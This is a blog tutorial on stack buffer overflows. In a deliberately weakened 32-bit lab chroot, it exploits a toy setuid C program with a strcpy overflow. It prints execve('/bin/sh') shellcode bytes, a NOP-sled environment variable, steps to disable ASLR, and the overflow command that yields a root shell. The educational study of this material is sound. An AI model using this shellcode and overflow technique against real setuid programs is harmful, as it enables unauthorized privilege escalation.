This post is part two of a post on stack smashing. Part one should be read first.
Chroot
I’m going to create a chroot and install a 32-bit debian OS into it. Why? Why not! Weeeeeeeeeeeeeeeeeee
$ debootstrap --include=build-essential,gdb,vim \
--arch i386 stretch /srv/chroot/32 http://ftp.debian.org/debian
$ sudo schroot -u root -c 32
Injecting the Shellcode
Let’s look again at our little program:
cat_pictures.c
#include <stdio.h>
#include <string.h>
void foo(char *s) {
char buf[10];
strcpy(buf, s);
printf("%s\n", buf);
}
int main(int argc, char **argv) {
foo(argv[1]);
return 0;
}
Our goal now is to exploit the cat_pictures
binary to give us a root shell. Unfortunately, several things must be favorable for this particular example to work:
- the binary must have root privileges and have its
setuid
bit set - the binary must have been compiled with the
-fno-stack-protector
flag - although not strictly necessary, it’s easier to have ASLR turned off
As you can see this is a fairly controlled experiment, but it is still very educational and enlightening and worth studying.
The Shellcode
I have a binary file on my machine called shellcode.bin
that mysteriously appeared one day as I was praying to Jesus. This magical binary file contains machine code that will spawn a shell:
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80
Let’s have a look at it in hex:
(32)test@trout:$ hexdump -C shellcode.bin
00000000 31 c0 31 db 31 c9 99 b0 a4 cd 80 6a 0b 58 51 68 |1.1.1......j.XQh|
00000010 2f 2f 73 68 68 2f 62 69 6e 89 e3 51 89 e2 53 89 |//shh/bin..Q..S.|
00000020 e1 cd 80 0a |....|
00000024
And let’s get it into an environment variable SHELLCODE
, prepended with a generous NOP sled:
(32)test@trout:$ export SHELLCODE=$(perl -e 'print "\x90"x200')$(cat shellcode.bin)
(32)test@trout:$ echo $SHELLCODE
111ə̀j
XQh//shh/binQS
Why did I put the shellcode into an environment variable?
This was necessary because the vulnerable buffer in this contrived example is only 10 bytes in size, which is nowhere near large enough to hold the exploit (35 bytes) and a NOP sled. If the buffer was larger, we could possibly do the exploit without putting an env var on the stack.
And now we’ll compile (ensuring the stack is executable), afterwards changing back to root
temporarily to change the owner and permissions (including setting the setuid
bit to make the privilege escalation hack possible).
(32)test@trout:$ gcc -o cat_pictures -ggdb3 -z execstack cat_pictures.c
(32)test@trout:$ exit
(32)root@trout:# chown root cat_pictures
(32)root@trout:# chmod 4550 cat_pictures
(32)root@trout:# su test
(32)test@trout:$ ls -l cat_pictures
-r-sr-x--- 1 root test 27960 Apr 18 02:52 cat_pictures
Ok, the binary looks good.
Again, the exploit won’t work as intended without setting the setuid
bit, which will escalate privileges and spawn a root shell when run. Without setting the setuid
, we’d still spawn a shell, but it would be as the user test
, with the same privileges as we already have. Boring!
Determining the Address
After having injected our payload into the SHELLCODE
environment variable, we need to determine its memory address on the stack. This can be done in a couple of ways.
-
Use the
getenv
C standard library function to get the memory of any env var.getenv.c
#include <stdlib.h> #include <stdio.h> void main(int argc, char **argv) { printf("%s -> %p\n", argv[1], getenv(argv[1])); }
``
With ASLR on, we can see how the memory address changes with every invocation:
(32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffb3ed84 (32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffaf7d84 (32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffaaed84 (32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffe6bd84 (32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffdb3d84
``
Now, let’s turn it off. Although, not strictly necessary, it means that the memory addresses won’t change, which makes the exploit easier.
# In a terminal outside of the chroot... $ echo 0 | sudo dd of=/proc/sys/kernel/randomize_va_space 0+1 records in 0+1 records out 2 bytes copied, 1.8874e-05 s, 106 kB/s # Back in the chroot... (32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffffdd84 (32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffffdd84 (32)test@trout:$ ./getenv SHELLCODE SHELLCODE -> 0xffffdd84
``
-
We can run the binary in a
GDB
session to also determine its address:(32)test@trout:$ gdb -q cat_pictures Reading symbols from cat_pictures...done. (gdb) b main Breakpoint 1 at 0x615: file cat_pictures.c, line 20. (gdb) r Starting program: /home/test/cat_pictures Breakpoint 1, main (argc=1, argv=0xffffd614) at cat_pictures.c:20 warning: Source file is more recent than executable. 20 derp(argv[1]); (gdb) x/20s *((char **) environ) 0xffffd75b: "LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"... 0xffffd823: "=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.Z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=0"... 0xffffd8eb: "1;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.al"... 0xffffd9b3: "z=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;"... 0xffffda7b: "35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*."... 0xffffdb43: "m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;"... 0xffffdc0b: "35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka="... 0xffffdcd3: "00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:" 0xffffdd47: "_=/usr/bin/gdb" 0xffffdd56: "OLDPWD=/root" 0xffffdd63: "SHELLCODE=", '\220' <repeats 190 times>... 0xffffde2b: "\220\220\220\220\220\220\220\220\220\220\061\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200" 0xffffde59: "USER=test" 0xffffde63: "SCHROOT_GROUP=root" 0xffffde76: "PWD=/home/test" 0xffffde85: "LINES=50" 0xffffde8e: "HOME=/home/test" 0xffffde9e: "SCHROOT_ALIAS_NAME=32" 0xffffdeb4: "SCHROOT_GID=0" 0xffffdec2: "SCHROOT_UID=0" (gdb) x 0xffffdd63+100 0xffffddc7: '\220'
, "\061\300\061\333\061\311\231\260\244\315\200j\vXQh//shh/bin\211\343Q\211\342S\211\341\315\200" (gdb) What is the
environ
symbol? That refers to the text file that stores all the environment variables for every process that is created. You can find them in the virtualproc
filesystem. Every process will have a directory for the time it is running and is removed when it is closed/killed.For example, as
GDB
is running, I opened another terminal, got its process number, and listed it in theproc
filesystem:$ pgrep gdb 20083 ~:$ sudo ls /proc/20083 attr clear_refs cpuset fd limits mem net oom_score personality schedstat smaps_rollup status timerslack_ns autogroup cmdline cwd fdinfo loginuid mountinfo ns oom_score_adj projid_map sessionid stack syscall uid_map auxv comm environ gid_map map_files mounts numa_maps pagemap root setgroups stat task wchan cgroup coredump_filter exe io maps mountstats oom_adj patch_state sched smaps statm timers $ ll /proc/20083/environ -r-------- 1 1001 1001 0 Apr 10 00:09 /proc/20083/environ
In
GDB
, you can also do this in a running program:(gdb) i variable environ All variables matching regular expression "environ": Non-debugging symbols: 0xf7faadc8 __environ 0xf7faadc8 _environ 0xf7faadc8 environ
Or, to see all defined variables:
(gdb) i variables
The addresses will be different when run in the
GDB
session, as you probably noticed. Because of theNOP
sled, this is alright.
The Payoff
Now, let’s smash the stack with our little payload. As long as we overwrite the return address with some address on the NOP
sled, it will slide down to the payoff, just as God intended.
Remember, Intel processors store bits in little-endian order, so the bytes must be written in reverse:
(32)test@trout:$ ./cat_pictures $(perl -e 'print "A"x22 . "\xc7\xdd\xff\xff"')
# whoami
root
# id
uid=0(root) gid=1001(test) groups=1001(test)
#
Whoa.
Conclusion
Yes, the example used here is a bit contrived, but, as stated previously, the point of these posts is to demonstrate and learn how a buffer overlflow exploitation is done. It’s very important to understand this, and it teaches one about several different things, including memory management, that every programmer should at least have some familiarity.
Also, kinds of exploits happen all the time. Just subscribe to any OS security mailing list, and you will quickly understand that this kind of exploit has not been solved, even though there have been measures taken to try and make them more difficult to successfully perform.